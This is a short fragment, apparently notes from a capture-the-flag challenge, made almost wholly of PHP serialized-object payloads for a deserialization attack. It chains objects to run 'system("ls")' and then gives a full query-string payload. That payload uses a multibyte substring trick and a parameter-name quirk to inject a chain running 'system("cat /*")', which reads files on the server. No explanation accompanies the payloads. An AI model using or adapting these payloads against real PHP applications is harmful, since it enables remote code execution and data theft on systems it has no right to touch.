1 2 3 a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:5:"Hacker";s:8:"username";R:9;}i:1;N;} O:6:"Hacker":3:{s:5:"start";N;s:3:"end";N;s:8:"username";s:6:"Hacker";}
payload:
1 2 ?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab &ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("cat /*");";}}}}}s:3:"end";s:6:"Hacker";s:8:"username";R:9;}i:1;N;}